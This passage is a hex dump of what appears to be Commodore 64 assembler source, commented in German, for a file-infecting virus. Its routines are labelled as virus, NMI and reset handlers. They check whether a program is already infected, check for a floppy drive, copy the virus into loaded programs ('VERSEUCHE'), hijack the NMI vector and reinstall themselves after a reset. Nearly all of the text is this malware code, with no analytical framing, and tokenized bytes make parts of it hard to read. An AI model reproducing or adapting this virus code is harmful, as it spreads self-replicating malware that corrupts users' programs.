00003110: 54 58 41 20 20 20 20 20  20 20 20 20 3B 59 AA 00  |TXA         ;Y..|
00003120: 32 39 CA 3A 50 48 41 20  20 20 20 20 20 20 20 20  |29.:PHA         |
00003130: 3B 41 00 4F 39 D4 3A 4A  53 52 20 53 9B 20 20 20  |;A.O9.:JSR S.   |
00003140: 3B 41 4E 20 46 4C 4F 50  50 59 20 53 80 45 4E 00  |;AN FLOPPY S.EN.|
00003150: 5C 39 DE 3A 4C 44 41 20  23 22 4D 22 00 69 39 E8  |\9.:LDA #"M".i9.|
00003160: 3A 4A 53 52 20 50 41 50  41 00 76 39 F2 3A 4C 44  |:JSR PAPA.v9.:LD|
00003170: 01 20 23 22 2D 22 00 83  39 FC 3A 4A 53 52 20 50  |. #"-"..9.:JSR P|
00003180: 41 50 41 00 8E 39 06 3B  4C 44 41 20 44 4F 00 9B  |APA..9.;LDA DO..|
00003190: 39 10 3B 4A 53 52 20 50  41 50 41 00 A3 39 1A 3B  |9.;JSR PAPA..9.;|
000031A0: 50 4C 41 00 B0 39 24 3B  4A 53 52 20 50 41 50 41  |PLA..9$;JSR PAPA|
000031B0: 00 B8 39 2E 3B 50 4C 41  00 C5 39 38 3B 4A 53 52  |..9.;PLA..98;JSR|
000031C0: 20 50 41 50 41 00 CD 39  42 3B 50 4C 41 00 DA 39  | PAPA..9B;PLA..9|
000031D0: 4C 3B 4A 4D 50 20 50 41  50 41 00 F9 39 80 3E 3B  |L;JMP PAPA..9.>;|
000031E0: AB AB AB AB 49 45 43 4C  49 4E 4B AB AB AB AB AB  |....IECLINK.....|
000031F0: AB AB AB AB AB AB AB AB  B1 00 19 3A 81 3E 3B 49  |...........:.>;I|
00003200: 45 43 42 55 53 AB 52 4F  55 54 49 4E 45 4E 20 55  |ECBUS.ROUTINEN U|
00003210: 45 42 45 52 20 4C 49 4E  4B 00 29 3A 82 3E 3B 41  |EBER LINK.):.>;A|
00003220: 55 53 46 55 45 48 52 45  4E 00 4D 3A 8A 3E 42 4C  |USFUEHREN.M:.>BL|
00003230: 41 43 4B 42 49 52 44 20  4A 53 52 20 4D 41 4B 45  |ACKBIRD JSR MAKE|
00003240: 20 3A 20 4A 53 52 20 53  45 54 50 41 52 00 55 3A  | : JSR SETPAR.U:|
00003250: 94 3E 52 54 53 00 78 3A  9E 3E 48 41 43 B5 4F 53  |.>RTS.x:.>HAC.OS|
00003260: 48 20 4A 53 52 20 4D 41  4B 45 20 3A 20 4A 53 52  |H JSR MAKE : JSR|
00003270: 20 53 45 54 4E 41 4D 45  00 80 3A A8 3E 52 54 53  | SETNAME..:.>RTS|
00003280: 00 A2 3A B2 3E 48 41 4E  53 20 20 20 20 20 20 4A  |..:.>HANS      J|
00003290: 53 52 20 4D 41 4B 45 20  3A 20 4A 53 52 20 49 45  |SR MAKE : JSR IE|
000032A0: 43 9F 00 AA 3A BC 3E 52  54 53 00 CC 3A C6 3E 54  |C...:.>RTS..:.>T|
000032B0: 48 4F 4D 41 53 20 20 20  20 4A 53 52 20 4D 41 4B  |HOMAS    JSR MAK|
000032C0: 45 20 3A 20 4A 53 52 20  53 45 4B 9B 00 D4 3A D0  |E : JSR SEK...:.|
000032D0: 3E 52 54 53 00 F9 3A DA  3E 43 48 52 49 53 54 49  |>RTS..:.>CHRISTI|
000032E0: 4E 45 20 4A 53 52 20 4D  41 4B 45 20 3A 20 4A 53  |NE JSR MAKE : JS|
000032F0: 52 20 53 45 4B 54 41 4C  4B 00 01 3B E4 3E 52 54  |R SEKTALK..;.>RT|
00003300: 53 00 20 3B EE 3E 4E 45  4D 4F 20 20 20 20 20 20  |S. ;.>NEMO      |
00003310: 4A 53 52 20 4D 41 4B 45  20 3A 20 4A 53 52 20 9B  |JSR MAKE : JSR .|
00003320: 00 28 3B F8 3E 52 54 53  00 4A 3B 02 3F 53 41 53  |.(;.>RTS.J;.?SAS|
00003330: 4B 49 41 20 20 20 20 4A  53 52 20 4D 41 4B 45 20  |KIA    JSR MAKE |
00003340: 3A 20 4A 53 52 20 54 41  4C 4B 00 52 3B 0C 3F 52  |: JSR TALK.R;.?R|
00003350: 54 53 00 73 3B 16 3F 47  41 52 46 49 45 4C 44 20  |TS.s;.?GARFIELD |
00003360: 20 4A 53 52 20 4D 41 4B  45 20 3A 20 4A 53 52 20  | JSR MAKE : JSR |
00003370: 55 4E 9B 00 7B 3B 20 3F  52 54 53 00 9F 3B 2A 3F  |UN..{; ?RTS..;*?|
00003380: 53 55 48 41 4C 20 20 20  20 20 4A 53 52 20 4D 41  |SUHAL     JSR MA|
00003390: 4B 45 20 3A 20 4A 53 52  20 55 4E 54 41 4C 4B 00  |KE : JSR UNTALK.|
000033A0: A7 3B 34 3F 52 54 53 00  CB 3B 3E 3F 50 41 50 41  |.;4?RTS..;>?PAPA|
000033B0: 20 20 20 20 20 20 4A 53  52 20 4D 41 4B 45 20 3A  |      JSR MAKE :|
000033C0: 20 4A 53 52 20 49 45 43  4F 55 54 00 D3 3B 48 3F  | JSR IECOUT..;H?|
000033D0: 52 54 53 00 F5 3B 52 3F  42 48 50 20 20 20 20 20  |RTS..;R?BHP     |
000033E0: 20 20 4A 53 52 20 4D 41  4B 45 20 3A 20 4A 53 52  |  JSR MAKE : JSR|
000033F0: 20 49 45 43 A1 00 FD 3B  5C 3F 52 54 53 00 1C 3C  | IEC...;\?RTS..<|
00003400: 66 3F 46 4A 53 20 20 20  20 20 20 20 4A 53 52 20  |f?FJS       JSR |
00003410: 4D 41 4B 45 20 3A 20 4A  53 52 20 A0 00 24 3C 70  |MAKE : JSR ..$<p|
00003420: 3F 52 54 53 00 41 3C 20  4E 3B AB AB 42 45 54 52  |?RTS.A< N;..BETR|
00003430: 49 45 42 53 9E 54 45 4D  AB 41 55 46 52 55 46 AB  |IEBS.TEM.AUFRUF.|
00003440: B1 00 64 3C 2A 4E 4D 41  4B 45 20 50 48 50 20 20  |..d<*NMAKE PHP  |
00003450: 20 20 3B 50 52 4F 5A 45  53 53 B0 AB 52 45 47 49  |  ;PROZESS..REGI|
00003460: 53 54 45 52 00 7C 3C 34  4E 50 48 41 20 20 20 20  |STER.|<4NPHA    |
00003470: 20 20 20 20 20 3B 52 45  54 54 45 4E 00 84 3C 3E  |     ;RETTEN..<>|
00003480: 4E 54 58 41 00 8C 3C 48  4E 50 48 41 00 94 3C 52  |NTXA..<HNPHA..<R|
00003490: 4E 54 59 41 00 9C 3C 5C  4E 50 48 41 00 BF 3C 66  |NTYA..<\NPHA..<f|
000034A0: 4E 54 53 58 20 20 20 20  20 20 20 20 20 3B 52 55  |NTSX         ;RU|
000034B0: 45 43 4B 4B 45 48 52 AB  41 44 52 45 53 53 45 00  |ECKKEHR.ADRESSE.|
000034C0: DA 3C 70 4E 54 58 41 20  20 20 20 20 20 20 20 20  |.<pNTXA         |
000034D0: 3B 42 45 52 45 43 48 4E  45 4E 00 E2 3C 7A 4E 43  |;BERECHNEN..<zNC|
000034E0: 4C 43 00 ED 3C 84 4E 41  04 43 20 23 35 00 F5 3C  |LC..<.NA.C #5..<|
000034F0: 8E 4E 54 41 58 00 07 3D  98 4E 4C 44 41 20 24 30  |.NTAX..=.NLDA $0|
00003500: 31 30 30 2C 58 20 3B 00  1F 3D A2 4E 53 54 41 20  |100,X ;..=.NSTA |
00003510: 4D 45 4D 31 20 20 20 20  3B 4D 45 52 4B 45 4E 00  |MEM1    ;MERKEN.|
00003520: 31 3D AC 4E 43 4C 43 20  20 20 20 20 20 20 20 20  |1=.NCLC         |
00003530: 3B 00 51 3D B6 4E 41 44  43 20 23 33 20 20 20 20  |;.Q=.NADC #3    |
00003540: 20 20 3B 55 4E 44 20 4B  B0 52 49 47 49 45 52 45  |  ;UND K.RIGIERE|
00003550: 4E 00 61 3D C0 4E 53 54  41 20 24 30 31 30 30 2C  |N.a=.NSTA $0100,|
00003560: 58 00 82 3D CA 4E 50 48  50 20 20 20 20 20 20 20  |X..=.NPHP       |
00003570: 20 20 3B 44 41 53 20 47  4C 45 49 43 48 45 20 4D  |  ;DAS GLEICHE M|
00003580: 49 54 00 9F 3D D4 4E 49  4E 58 20 20 20 20 20 20  |IT..=.NINX      |
00003590: 20 20 20 3B 44 45 4D 20  4C 4F AB 42 59 54 45 00  |   ;DEM LO.BYTE.|
000035A0: A7 3D DE 4E 50 4C 50 00  B7 3D E8 4E 4C 44 41 20  |.=.NPLP..=.NLDA |
000035B0: 24 30 31 30 30 2C 58 00  C4 3D F2 4E 53 54 41 20  |$0100,X..=.NSTA |
000035C0: 4D 45 4D 32 00 CF 3D FC  4E 41 44 43 20 23 30 00  |MEM2..=.NADC #0.|
000035D0: DF 3D 06 4F 53 54 41 20  24 30 31 30 30 2C 58 00  |.=.OSTA $0100,X.|
000035E0: EA 3D 10 4F 4C 44 59 20  23 33 00 FE 3D 1A 4F 4D  |.=.OLDY #3..=.OM|
000035F0: 31 20 4C 44 41 20 28 4D  45 4D 31 29 2C 59 00 21  |1 LDA (MEM1),Y.!|
00003600: 3E 24 4F 53 54 41 20 4C  49 4E 4B AB 31 2C 59 3B  |>$OSTA LINK.1,Y;|
00003610: 50 52 4F 47 52 41 4D 4D  54 45 49 4C 20 4E 41 43  |PROGRAMMTEIL NAC|
00003620: 48 00 40 3E 2E 4F 44 45  59 20 20 20 20 20 20 20  |H.@>.ODEY       |
00003630: 20 20 3B 4C 49 4E 4B 20  4B 4F 50 49 45 52 45 4E  |  ;LINK KOPIEREN|
00003640: 00 4B 3E 38 4F 42 4E 45  20 4D 31 00 70 3E 42 4F  |.K>8OBNE M1.p>BO|
00003650: 50 4C 41 20 20 20 20 20  20 20 20 20 3B 52 45 47  |PLA         ;REG|
00003660: 49 53 54 45 52 20 52 45  50 41 52 49 45 52 45 4E  |ISTER REPARIEREN|
00003670: 00 78 3E 4C 4F 54 41 59  00 80 3E 56 4F 50 4C 41  |.x>LOTAY..>VOPLA|
00003680: 00 88 3E 60 4F 54 41 58  00 90 3E 6A 4F 50 4C 41  |..>`OTAX..>jOPLA|
00003690: 00 98 3E 74 4F 50 4C 50  00 B8 3E 7E 4F 4A 4D 50  |..>tOPLP..>~OJMP|
000036A0: 20 4C 49 4E 4B AA 34 20  20 3B 55 4E 44 20 41 55  | LINK.4  ;UND AU|
000036B0: 53 46 55 45 48 52 45 4E  00 D6 3E 30 75 3B AB AB  |SFUEHREN..>0u;..|
000036C0: AB AB AB AB 9E 54 45 4D  AB AB AB AB AB AB AB AB  |.....TEM........|
000036D0: AB AB AB AB B1 9E 00 E9  3E 3A 75 9E 54 45 4D 20  |........>:u.TEM |
000036E0: 4C 44 41 20 24 46 46 46  41 00 0B 3F 44 75 50 48  |LDA $FFFA..?DuPH|
000036F0: 41 20 20 20 20 20 20 20  20 20 3B 4E 4D 49 AB 56  |A         ;NMI.V|
00003700: 45 4B A4 52 20 52 45 54  54 45 0E 00 1D 3F 4E 75  |EK.R RETTE...?Nu|
00003710: 4C 44 41 20 24 46 46 46  42 20 20 20 3B 00 2F 3F  |LDA $FFFB   ;./?|
00003720: 58 75 50 48 41 20 20 20  20 20 20 20 20 20 3B 00  |XuPHA         ;.|
00003730: 4E 3F 62 75 4C 44 41 20  23 B3 8E 3B 55 4E 44 20  |N?buLDA #..;UND |
00003740: 41 55 46 20 52 54 49 20  53 45 54 5A 45 0E 00 60  |AUF RTI SETZE..`|
00003750: 3F 6C 75 53 54 41 20 24  46 46 46 41 20 20 20 3B  |?luSTA $FFFA   ;|
00003760: 00 6C 3F 76 75 4C 44 41  20 23 B1 8E 00 7A 3F 80  |.l?vuLDA #...z?.|
00003770: 75 53 54 41 20 24 46 46  46 42 00 8C 3F 8A 75 4C  |uSTA $FFFB..?.uL|
00003780: 44 41 20 4D 45 4D 31 20  20 20 20 3B 00 9E 3F 94  |DA MEM1    ;..?.|
00003790: 75 50 48 41 20 20 20 20  20 20 20 20 20 3B 00 B0  |uPHA         ;..|
000037A0: 3F 9E 75 4C 44 41 20 4D  45 4D 32 20 20 20 20 3B  |?.uLDA MEM2    ;|
000037B0: 00 D3 3F A8 75 50 48 41  20 20 20 20 20 20 20 20  |..?.uPHA        |
000037C0: 20 3B 44 49 56 45 52 53  45 20 53 50 45 49 43 48  | ;DIVERSE SPEICH|
000037D0: 45 52 AB 00 F4 3F B2 75  4C 44 41 20 4D 45 4D 33  |ER...?.uLDA MEM3|
000037E0: 20 20 20 20 3B 53 54 45  4C C3 20 52 45 54 54 45  |    ;STEL. RETTE|
000037F0: 4E 2E 2E 2E 00 06 40 BC  75 50 48 41 20 20 20 20  |N.....@.uPHA    |
00003800: 20 20 20 20 20 3B 00 18  40 C6 75 4C 44 41 20 4D  |     ;..@.uLDA M|
00003810: 45 4D 34 20 20 20 20 3B  00 2A 40 D0 75 50 48 41  |EM4    ;.*@.uPHA|
00003820: 20 20 20 20 20 20 20 20  20 3B 00 4B 40 DA 75 54  |         ;.K@.uT|
00003830: 58 41 20 20 20 20 20 20  20 20 20 3B 58 AA 59 20  |XA         ;X.Y |
00003840: 56 B0 55 45 42 45 52 47  45 48 80 00 63 40 E4 75  |V.UEBERGEH..c@.u|
00003850: 50 48 41 20 20 20 20 20  20 20 20 20 3B 52 45 54  |PHA         ;RET|
00003860: 54 45 4E 00 6B 40 EE 75  54 59 41 00 73 40 F8 75  |TEN.k@.uTYA.s@.u|
00003870: 50 48 41 00 97 40 F9 75  4A 53 52 20 52 45 49 4E  |PHA..@.uJSR REIN|
00003880: 53 54 20 20 3B 5A 45 49  47 45 52 20 55 45 42 45  |ST  ;ZEIGER UEBE|
00003890: 52 50 52 55 46 45 4E 00  B7 40 FA 75 50 4C 41 20  |RPRUFEN..@.uPLA |
000038A0: 20 20 20 20 20 20 20 20  3B 58 AA 59 20 57 49 45  |        ;X.Y WIE|
000038B0: 44 45 52 20 48 4F C3 00  BF 40 FB 75 54 41 59 00  |DER HO...@.uTAY.|
000038C0: C7 40 FC 75 50 4C 41 00  CF 40 FD 75 54 41 58 00  |.@.uPLA..@.uTAX.|
000038D0: DE 40 03 76 4C 44 41 20  49 52 51 50 AA 31 00 E6  |.@.vLDA IRQP.1..|
000038E0: 40 04 76 50 48 41 00 F3  40 05 76 4C 44 41 20 49  |@.vPHA..@.vLDA I|
000038F0: 52 51 50 00 FB 40 06 76  50 48 41 00 15 41 0C 76  |RQP..@.vPHA..A.v|
00003900: 4C 44 41 20 23 B3 49 52  51 45 20 20 3B B5 45 52  |LDA #.IRQE  ;.ER|
00003910: 52 55 50 54 53 00 33 41  16 76 53 54 41 20 49 52  |RUPTS.3A.vSTA IR|
00003920: 51 50 20 20 20 20 3B 45  4E 54 53 43 48 41 45 52  |QP    ;ENTSCHAER|
00003930: 46 45 4E 00 42 41 20 76  4C 44 41 20 23 B1 49 52  |FEN.BA vLDA #.IR|
00003940: 51 45 00 51 41 2A 76 53  54 41 20 49 52 51 50 AA  |QE.QA*vSTA IRQP.|
00003950: 31 00 60 41 34 76 4C 44  41 20 23 B3 4E 4D 49 45  |1.`A4vLDA #.NMIE|
00003960: 00 6D 41 3E 76 53 54 41  20 4E 4D 49 50 00 7C 41  |.mA>vSTA NMIP.|A|
00003970: 48 76 4C 44 41 20 23 B1  4E 4D 49 45 00 8B 41 52  |HvLDA #.NMIE..AR|
00003980: 76 53 54 41 20 4E 4D 49  50 AA 31 00 93 41 53 76  |vSTA NMIP.1..ASv|
00003990: 54 58 41 00 AF 41 54 76  50 48 41 20 20 20 20 20  |TXA..ATvPHA     |
000039A0: 20 20 20 20 3B 58 AA 59  20 52 45 54 54 45 4E 00  |    ;X.Y RETTEN.|
000039B0: C1 41 55 76 54 59 41 20  20 20 20 20 20 20 20 20  |.AUvTYA         |
000039C0: 3B 00 D3 41 56 76 50 48  41 20 20 20 20 20 20 20  |;..AVvPHA       |
000039D0: 20 20 3B 00 F5 41 5C 76  54 53 58 20 20 20 20 20  |  ;..A\vTSX     |
000039E0: 20 20 20 20 3B 50 41 52  41 4D 45 54 45 52 20 41  |    ;PARAMETER A|
000039F0: 55 46 47 8A 44 00 1B 42  66 76 54 58 41 20 20 20  |UFG.D..BfvTXA   |
00003A00: 20 20 20 20 20 20 3B 44  45 53 20 53 54 41 43 4B  |      ;DES STACK|
00003A10: 53 20 42 45 52 45 43 48  4E 45 4E 00 2D 42 70 76  |S BERECHNEN.-Bpv|
00003A20: 43 4C 43 20 20 20 20 20  20 20 20 20 3B 00 3F 42  |CLC         ;.?B|
00003A30: 7A 76 41 44 43 20 23 31  36 20 20 20 20 20 3B 00  |zvADC #16     ;.|
00003A40: 47 42 84 76 54 41 58 00  4F 42 8E 76 43 4C 43 00  |GB.vTAX.OB.vCLC.|
00003A50: 6E 42 98 76 4C 44 41 20  24 30 31 30 30 2C 58 20  |nB.vLDA $0100,X |
00003A60: 3B 4C 4F AB 5A 45 49 47  45 52 20 48 4F C3 00 8D  |;LO.ZEIGER HO...|
00003A70: 42 A2 76 41 44 43 20 23  31 20 20 20 20 20 20 3B  |B.vADC #1      ;|
00003A80: 52 55 45 43 4B 53 50 8A  47 20 4E 45 55 00 AC 42  |RUECKSP.G NEU..B|
00003A90: AC 76 53 54 41 20 4D 45  4D 31 20 20 20 20 3B 42  |.vSTA MEM1    ;B|
00003AA0: 45 52 45 43 48 4E 45 4E  20 55 4E 44 00 C7 42 B6  |ERECHNEN UND..B.|
00003AB0: 76 53 54 41 20 24 30 31  30 30 2C 58 20 3B 53 50  |vSTA $0100,X ;SP|
00003AC0: 45 49 43 48 45 52 4E 00  D9 42 C0 76 50 48 50 20  |EICHERN..B.vPHP |
00003AD0: 20 20 20 20 20 20 20 20  3B 00 EB 42 CA 76 49 4E  |        ;..B.vIN|
00003AE0: 58 20 20 20 20 20 20 20  20 20 3B 00 0F 43 D4 76  |X         ;..C.v|
00003AF0: 50 4C 50 20 20 20 20 20  20 20 20 20 3B 44 41 53  |PLP         ;DAS|
00003B00: 20 47 4C 45 49 43 48 45  20 4D 49 54 20 48 49 00  | GLEICHE MIT HI.|
00003B10: 21 43 DE 76 4C 44 41 20  24 30 31 30 30 2C 58 20  |!C.vLDA $0100,X |
00003B20: 3B 00 33 43 E8 76 41 44  43 20 23 30 20 20 20 20  |;.3C.vADC #0    |
00003B30: 20 20 3B 00 45 43 F2 76  53 54 41 20 4D 45 4D 32  |  ;.EC.vSTA MEM2|
00003B40: 20 20 20 20 3B 00 57 43  FC 76 53 54 41 20 24 30  |    ;.WC.vSTA $0|
00003B50: 31 30 30 2C 58 20 3B 00  62 43 06 77 4C 44 59 20  |100,X ;.bC.wLDY |
00003B60: 23 30 00 73 43 10 77 4C  44 41 20 28 4D 45 4D 31  |#0.sC.wLDA (MEM1|
00003B70: 29 2C 59 00 80 43 1A 77  43 4D 50 20 23 31 32 38  |),Y..C.wCMP #128|
00003B80: 00 8B 43 24 77 42 45 51  20 9E 93 00 97 43 2E 77  |..C$wBEQ ....C.w|
00003B90: 43 4D 50 20 23 36 34 00  A2 43 38 77 42 45 51 20  |CMP #64..C8wBEQ |
00003BA0: 9E 94 00 AE 43 42 77 43  4D 50 20 23 31 36 00 BB  |....CBwCMP #16..|
00003BB0: 43 4C 77 42 45 51 20 9E  4E 4D 49 00 CB 43 74 77  |CLwBEQ .NMI..Ctw|
00003BC0: 9E 80 20 4A 53 52 20 4D  41 4B 45 00 EE 43 7E 77  |.. JSR MAKE..C~w|
00003BD0: 4C 44 41 20 4E 4D 49 54  41 48 20 20 3B 4E 4D 49  |LDA NMITAH  ;NMI|
00003BE0: AB 54 49 4D 45 52 20 41  42 46 52 41 47 45 00 FC  |.TIMER ABFRAGE..|
00003BF0: 43 88 77 42 45 51 20 9E  80 20 20 3B 00 0E 44 92  |C.wBEQ ..  ;..D.|
00003C00: 77 4A 53 52 20 4D 41 4B  45 20 20 20 20 3B 00 20  |wJSR MAKE    ;. |
00003C10: 44 9C 77 4C 44 41 20 4E  4D 49 54 42 48 20 20 3B  |D.wLDA NMITBH  ;|
00003C20: 00 2B 44 A6 77 42 45 51  20 9E 80 00 45 44 A7 77  |.+D.wBEQ ...ED.w|
00003C30: 50 4C 41 20 20 20 20 20  20 20 20 20 3B 52 45 47  |PLA         ;REG|
00003C40: 49 53 54 45 52 00 63 44  A8 77 54 41 59 20 20 20  |ISTER.cD.wTAY   |
00003C50: 20 20 20 20 20 20 3B 52  45 53 54 41 55 52 49 45  |      ;RESTAURIE|
00003C60: 52 45 4E 00 6B 44 A9 77  50 4C 41 00 73 44 AA 77  |REN.kD.wPLA.sD.w|
00003C70: 54 41 58 00 93 44 B0 77  50 4C 41 20 20 20 20 20  |TAX..D.wPLA     |
00003C80: 20 20 20 20 3B B5 45 52  55 50 54 53 20 57 49 45  |    ;.ERUPTS WIE|
00003C90: 44 45 52 00 B1 44 BA 77  53 54 41 20 49 52 51 50  |DER..D.wSTA IRQP|
00003CA0: 20 20 20 20 3B 52 45 B0  47 41 4E 49 53 49 45 52  |    ;RE.GANISIER|
00003CB0: 4E 00 B9 44 C4 77 50 4C  41 00 C8 44 CE 77 53 54  |N..D.wPLA..D.wST|
00003CC0: 41 20 49 52 51 50 AA 31  00 D7 44 D8 77 4C 44 41  |A IRQP.1..D.wLDA|
00003CD0: 20 23 B3 4E 4D 49 31 00  E4 44 E2 77 53 54 41 20  | #.NMI1..D.wSTA |
00003CE0: 4E 4D 49 50 00 F3 44 EC  77 4C 44 41 20 23 B1 4E  |NMIP..D.wLDA #.N|
00003CF0: 4D 49 31 00 02 45 F6 77  53 54 41 20 4E 4D 49 50  |MI1..E.wSTA NMIP|
00003D00: AA 31 00 20 45 28 78 9E  9A 20 50 4C 41 20 3B 44  |.1. E(x.. PLA ;D|
00003D10: 49 56 45 52 53 45 20 53  50 45 49 43 48 45 52 AB  |IVERSE SPEICHER.|
00003D20: 00 37 45 32 78 53 54 41  20 4D 45 4D 34 20 20 20  |.7E2xSTA MEM4   |
00003D30: 20 3B 53 54 45 4C C3 00  53 45 3C 78 50 4C 41 20  | ;STEL..SE<xPLA |
00003D40: 20 20 20 20 20 20 20 20  3B 52 45 50 41 52 49 45  |        ;REPARIE|
00003D50: 52 45 4E 00 60 45 46 78  53 54 41 20 4D 45 4D 33  |REN.`EFxSTA MEM3|
00003D60: 00 68 45 50 78 50 4C 41  00 75 45 5A 78 53 54 41  |.hEPxPLA.uEZxSTA|
00003D70: 20 4D 45 4D 32 00 7D 45  64 78 50 4C 41 00 8A 45  | MEM2.}EdxPLA..E|
00003D80: 6E 78 53 54 41 20 4D 45  4D 31 00 AF 45 78 78 50  |nxSTA MEM1..ExxP|
00003D90: 4C 41 20 20 20 20 20 20  20 20 20 3B 4E 4D 49 56  |LA         ;NMIV|
00003DA0: 45 4B A4 52 20 52 45 50  41 52 49 45 52 45 4E 00  |EK.R REPARIEREN.|
00003DB0: BD 45 82 78 53 54 41 20  24 46 46 46 42 00 C5 45  |.E.xSTA $FFFB..E|
00003DC0: 8C 78 50 4C 41 00 D3 45  96 78 53 54 41 20 24 46  |.xPLA..E.xSTA $F|
00003DD0: 46 46 41 00 DB 45 A0 78  52 54 53 00 F8 45 18 79  |FFA..E.xRTS..E.y|
00003DE0: 3B AB AB AB AB 56 49 52  55 53 AB 93 AB 52 4F 55  |;....VIRUS...ROU|
00003DF0: 54 49 4E 45 AB AB B1 4C  00 07 46 22 79 9E 93 20  |TINE...L..F"y.. |
00003E00: 20 4C 44 59 20 23 31 00  1A 46 2C 79 4C 44 01 20  | LDY #1..F,yLD. |
00003E10: 28 42 41 53 49 43 53 29  2C 59 00 3C 46 36 79 42  |(BASICS),Y.<F6yB|
00003E20: 45 51 20 9E 80 20 20 3B  55 45 42 45 52 50 52 55  |EQ ..  ;UEBERPRU|
00003E30: 45 46 45 20 4F 42 20 56  49 52 55 53 00 5E 46 40  |EFE OB VIRUS.^F@|
00003E40: 79 4C 44 59 20 23 33 31  20 20 20 20 20 3B 53 43  |yLDY #31     ;SC|
00003E50: 48 91 20 49 4D 20 53 50  45 49 43 48 45 52 00 73  |H. IM SPEICHER.s|
00003E60: 46 4A 79 4C 44 58 20 23  32 36 20 20 20 20 20 3B  |FJyLDX #26     ;|
00003E70: 49 53 54 00 89 46 54 79  4C 31 20 4C 44 41 20 28  |IST..FTyL1 LDA (|
00003E80: 42 41 53 49 43 53 29 2C  59 00 99 46 5E 79 43 4D  |BASICS),Y..F^yCM|
00003E90: 50 20 56 49 52 55 53 2C  58 00 BA 46 68 79 42 4E  |P VIRUS,X..FhyBN|
00003EA0: 45 20 9E 94 20 3B 4E 45  49 4E 2C 20 44 41 4E 4E  |E .. ;NEIN, DANN|
00003EB0: 20 56 45 52 53 45 55 43  48 45 00 C2 46 72 79 44  | VERSEUCHE..FryD|
00003EC0: 45 59 00 CA 46 7C 79 44  45 58 00 D5 46 86 79 42  |EY..F|yDEX..F.yB|
00003ED0: 4E 45 20 4C 31 00 F3 46  90 79 50 4C 41 20 20 20  |NE L1..F.yPLA   |
00003EE0: 20 20 20 20 20 20 3B 80  41 44 52 45 53 53 45 20  |      ;.ADRESSE |
00003EF0: 48 4F C3 00 00 47 9A 79  53 54 41 20 93 45 AA 31  |HO...G.ySTA .E.1|
00003F00: 00 08 47 A4 79 50 4C 41  00 13 47 AE 79 53 54 41  |..G.yPLA..G.ySTA|
00003F10: 20 93 45 00 39 47 B8 79  4A 53 52 20 4D 4F 56 45  | .E.9G.yJSR MOVE|
00003F20: 20 20 20 20 3B 50 52 4F  47 52 41 4D 4D 20 49 4D  |    ;PROGRAMM IM|
00003F30: 20 53 50 45 49 43 48 45  52 00 53 47 C2 79 4C 44  | SPEICHER.SG.yLD|
00003F40: 41 20 93 45 20 20 20 3B  56 45 52 53 43 48 49 45  |A .E   ;VERSCHIE|
00003F50: 42 45 4E 00 5B 47 CC 79  50 48 41 00 72 47 D6 79  |BEN.[G.yPHA.rG.y|
00003F60: 4C 44 41 20 93 45 AA 31  20 3B 93 41 44 52 45 53  |LDA .E.1 ;.ADRES|
00003F70: 53 45 00 8E 47 E0 79 50  48 41 20 20 20 20 20 20  |SE..G.yPHA      |
00003F80: 20 20 20 3B 4B B0 52 49  47 49 45 52 45 4E 00 99  |   ;K.RIGIEREN..|
00003F90: 47 EA 79 4A 4D 50 20 9E  80 00 B6 47 00 7D 3B AB  |G.yJMP ....G.};.|
00003FA0: AB AB AB 56 49 52 55 53  AB 94 AB 52 4F 55 54 49  |...VIRUS...ROUTI|
00003FB0: 4E 45 AB AB AB B1 00 D2  47 0A 7D 9E 94 20 4C 44  |NE......G.}.. LD|
00003FC0: 41 20 44 45 56 20 3B 55  45 42 45 52 50 52 55 45  |A DEV ;UEBERPRUE|
00003FD0: 46 45 00 F8 47 14 7D 43  4D 50 20 23 24 30 38 20  |FE..G.}CMP #$08 |
00003FE0: 20 20 20 20 20 20 20 3B  4F 42 20 44 45 56 49 43  |       ;OB DEVIC|
00003FF0: 45 20 46 4C 4F 50 50 59  00 0D 48 1E 7D 42 43 43  |E FLOPPY..H.}BCC|
00004000: 20 9E 80 20 20 20 20 20  20 3B 49 53 54 00 1A 48  | ..      ;IST..H|
00004010: 28 7D 4A 53 52 20 44 4F  49 54 00 3B 48 32 7D 4A  |(}JSR DOIT.;H2}J|
00004020: 4D 50 20 9E 80 20 20 3B  50 52 4F 47 52 41 4D 4D  |MP ..  ;PROGRAMM|
00004030: 20 56 45 52 53 45 55 43  48 45 4E 00 5B 48 E8 80  | VERSEUCHEN.[H..|
00004040: 3B AB AB AB AB 56 49 52  55 53 AB 4E 4D 49 AB 52  |;....VIRUS.NMI.R|
00004050: 4F 55 54 49 4E 45 AB AB  AB AB B1 00 6D 48 F2 80  |OUTINE......mH..|
00004060: 9E 4E 4D 49 20 4A 53 52  20 4D 41 4B 45 00 8C 48  |.NMI JSR MAKE..H|
00004070: FC 80 4A 53 52 20 90 20  20 20 3B 90 AB 54 41 53  |..JSR .   ;..TAS|
00004080: 54 45 20 47 45 44 52 55  45 43 4B 54 00 A0 48 06  |TE GEDRUECKT..H.|
00004090: 81 42 4E 45 20 9E 80 20  3B AB AB B1 4E 45 49 4E  |.BNE .. ;...NEIN|
000040A0: 00 AD 48 10 81 4A 53 52  20 4D 41 4B 45 00 CC 48  |..H..JSR MAKE..H|
000040B0: 1A 81 4A 53 52 20 24 46  44 31 35 20 20 3B 56 45  |..JSR $FD15  ;VE|
000040C0: 4B A4 52 45 4E 20 53 45  54 5A 45 4E 00 E7 48 24  |K.REN SETZEN..H$|
000040D0: 81 4A 53 52 20 52 45 49  4E 53 54 20 3B 56 49 52  |.JSR REINST ;VIR|
000040E0: 55 53 20 49 4E 09 54 00  06 49 2E 81 4C 44 58 20  |US IN.T..I..LDX |
000040F0: 23 24 30 31 20 20 20 3B  53 54 41 43 4B 20 22 50  |#$01   ;STACK "P|
00004100: 55 54 5A 45 4E 22 00 0E  49 38 81 54 58 53 00 1B  |UTZEN"..I8.TXS..|
00004110: 49 42 81 4A 53 52 20 4D  41 4B 45 00 3E 49 4C 81  |IB.JSR MAKE.>IL.|
00004120: 4A 4D 50 20 24 46 45 36  39 20 20 3B 53 C0 44 41  |JMP $FE69  ;S.DA|
00004130: 52 54 4E 4D 49 20 56 B0  53 45 54 5A 45 4E 00 5E  |RTNMI V.SETZEN.^|
00004140: 49 D0 84 3B AB AB 56 49  52 55 53 AB 52 45 53 45  |I..;..VIRUS.RESE|
00004150: 54 AB 52 4F 55 54 49 4E  45 AB AB AB AB B1 00 74  |T.ROUTINE......t|
00004160: 49 DA 84 9E 52 45 53 45  54 20 4A 53 52 20 52 45  |I...RESET JSR RE|
00004170: 4C 49 4E 4B 00 7F 49 DB  84 4C 44 58 20 23 30 00  |LINK..I..LDX #0.|
